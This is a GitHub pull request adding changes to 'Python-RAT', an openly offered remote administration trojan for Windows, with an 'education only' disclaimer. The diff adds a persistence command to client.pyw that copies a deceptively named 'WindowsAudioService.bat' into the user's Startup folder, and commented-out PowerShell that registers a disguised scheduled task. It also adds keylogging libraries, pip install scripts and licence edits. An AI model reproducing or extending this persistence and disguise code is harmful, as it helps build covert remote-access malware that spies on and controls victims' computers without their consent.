Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding Requirement Install Script And Fixed Licence #3

Draft
wants to merge 15 commits into
base: main
Choose a base branch
from
Draft
52 changes: 52 additions & 0 deletions .github/workflows/bandit.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
# This workflow uses actions that are not certified by GitHub.
# They are provided by a third-party and are governed by
# separate terms of service, privacy policy, and support
# documentation.

# Bandit is a security linter designed to find common security issues in Python code.
# This action will run Bandit on your codebase.
# The results of the scan will be found under the Security tab of your repository.

# https://github.com/marketplace/actions/bandit-scan is ISC licensed, by abirismyname
# https://pypi.org/project/bandit/ is Apache v2.0 licensed, by PyCQA

name: Bandit
on:
push:
branches: [ "main" ]
pull_request:
# The branches below must be a subset of the branches above
branches: [ "main" ]
schedule:
- cron: '15 4 * * 3'

jobs:
bandit:
permissions:
contents: read # for actions/checkout to fetch code
security-events: write # for github/codeql-action/upload-sarif to upload SARIF results
actions: read # only required for a private repository by github/codeql-action/upload-sarif to get the Action run status

runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Bandit Scan
uses: shundor/python-bandit-scan@9cc5aa4a006482b8a7f91134412df6772dbda22c
with: # optional arguments
# exit with 0, even with results found
exit_zero: true # optional, default is DEFAULT
# Github token of the repository (automatically created by Github)
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} # Needed to get PR information.
# File or directory to run bandit on
# path: # optional, default is .
# Report only issues of a given severity level or higher. Can be LOW, MEDIUM or HIGH. Default is UNDEFINED (everything)
# level: # optional, default is UNDEFINED
# Report only issues of a given confidence level or higher. Can be LOW, MEDIUM or HIGH. Default is UNDEFINED (everything)
# confidence: # optional, default is UNDEFINED
# comma-separated list of paths (glob patterns supported) to exclude from scan (note that these are in addition to the excluded paths provided in the config file) (default: .svn,CVS,.bzr,.hg,.git,__pycache__,.tox,.eggs,*.egg)
# excluded_paths: # optional, default is DEFAULT
# comma-separated list of test IDs to skip
# skips: # optional, default is DEFAULT
# path to a .bandit file that supplies command line arguments
# ini_path: # optional, default is DEFAULT

30 changes: 30 additions & 0 deletions .github/workflows/manual.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
# This is a basic workflow that is manually triggered

name: Manual workflow

# Controls when the action will run. Workflow runs when manually triggered using the UI
# or API.
on:
workflow_dispatch:
# Inputs the workflow accepts.
inputs:
name:
# Friendly description to be shown in the UI instead of 'name'
description: 'Dep Script Test'
# Default value if no value is explicitly provided
default: NO'
# Input has to be provided for the workflow to run
required: true

# A workflow run is made up of one or more jobs that can run sequentially or in parallel
jobs:
# This workflow contains a single job called "greet"
greet:
# The type of runner that the job will run on
runs-on: windows

# Steps represent a sequence of tasks that will be executed as part of the job
steps:
# Runs a single command using the runners shell
- name: Test Script
run:
1 change: 1 addition & 0 deletions LICENCE.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
This work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. To view a copy of this license, visit http://creativecommons.org/licenses/by-nc-sa/4.0/ or send a letter to Creative Commons, PO Box 1866, Mountain View, CA 94042, USA.
21 changes: 0 additions & 21 deletions LICENSE

This file was deleted.

27 changes: 6 additions & 21 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,12 +1,15 @@
# Python-RAT

THIS REPO IS ARCHIVED AND WILL NO LONGER BE UPDATED.

Advanced Remote Administration tool for Windows Systems written in pure Python

## Disclamer

THIS SOFTWARE IS INTENDED ONLY FOR EDUCATION PURPOSES! DO NOT USE IT TO INFLICT
DAMAGE TO ANYONE! USING MY APPLICATION YOU ARE AUTHOMATICALLY AGREE WITH ALL RULES AND
TAKE RESPONSIBITITY FOR YOUR ACTION! THE VIOLATION OF LAWS CAN CAUSE SERIOUS CONSEQUENCES!
THE DEVELOPER FZGbzuw412 ASSUMES NO LIABILITY AND IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE
THE DEVELOPER ASSUMES NO LIABILITY AND IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE
CAUSED BY THIS PROGRAM.

## Intended for:
Expand Down Expand Up @@ -57,23 +60,5 @@ client.pyw
![изображение](https://user-images.githubusercontent.com/92334349/151528715-c83b5d21-4df4-4143-acf4-a67907e180de.png)

## Licence

Copyright (c) 2022 FZGbzuw412

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

This work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. To view a copy of this license, visit http://creativecommons.org/licenses/by-nc-sa/4.0/ or send a letter to Creative Commons, PO Box 1866, Mountain View, CA 94042, USA.
5 changes: 5 additions & 0 deletions SECURITY.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
# Security Policy

## Reporting a Vulnerability

Always Report Vulnerabilities In The Issues. Please Be Respectful When Reporting
1 change: 1 addition & 0 deletions WindowsAudioService.bat
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
py "C:\Users\"
30 changes: 29 additions & 1 deletion client.pyw
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@ import shutil
import glob
import ctypes
import sys
import os
import webbrowser
import re
import pyautogui
Expand All @@ -20,6 +21,8 @@ from pynput.keyboard import Listener
from pynput.mouse import Controller
import time
import keyboard
import subprocess


user32 = ctypes.WinDLL('user32')
kernel32 = ctypes.WinDLL('kernel32')
Expand Down Expand Up @@ -599,12 +602,37 @@ User: {os.getlogin()}
except:
self.errorsend()


elif command == 'AtStartup':
os.system('copy WindowsAudioService.bat "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"')

elif command == 'exit':
s.send(b"exit")
break

rat = RAT_CLIENT('127.0.0.1', 4444)

if __name__ == '__main__':
# Use triple quotes string literal to span PowerShell command multiline
#STR_CMD = """
#$action = New-ScheduledTaskAction -Execute """ + sys.executable + """.exe -Argument """ + + """
#$description = ""
#$settings = New-ScheduledTaskSettingsSet -RunOnlyIfNetworkAvailable
#$taskName = "Windows Remote Request Handler"
#$trigger = New-ScheduledTaskTrigger -AtStartup
#Register-ScheduledTask -TaskName $taskName -Description $description -Action $action -Settings $settings -Trigger $trigger | Out-Null
#"""

# Use a list to make it easier to pass argument to subprocess
#listProcess = [
# "powershell.exe",
# "-NoExit",
# "-NoProfile",
# "-Command",
# STR_CMD
#]

# Enjoy the magic
#subprocess.run(listProcess, check=True)
rat.build_connection()
rat.execute()
rat.execute()
5 changes: 4 additions & 1 deletion client_requirements.txt
Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I also added more requirements for common libs for restricted systems

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I also Changed The Licence So Random Companies Dont Go Fork It And Put The Code In Their Closed Source Software

Original file line number Diff line number Diff line change
Expand Up @@ -3,4 +3,7 @@ comtypes
pycaw
pyautogui
opencv-python
vidstream
vidstream
comtypes
pynput
keyboard
2 changes: 2 additions & 0 deletions installwithargs.bat
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
python -m pip install --trusted-host pypi.org --trusted-host files.pythonhosted.org -r client_requirements.txt
python -m pip install --trusted-host pypi.org --trusted-host files.pythonhosted.org -r server_requirements.txt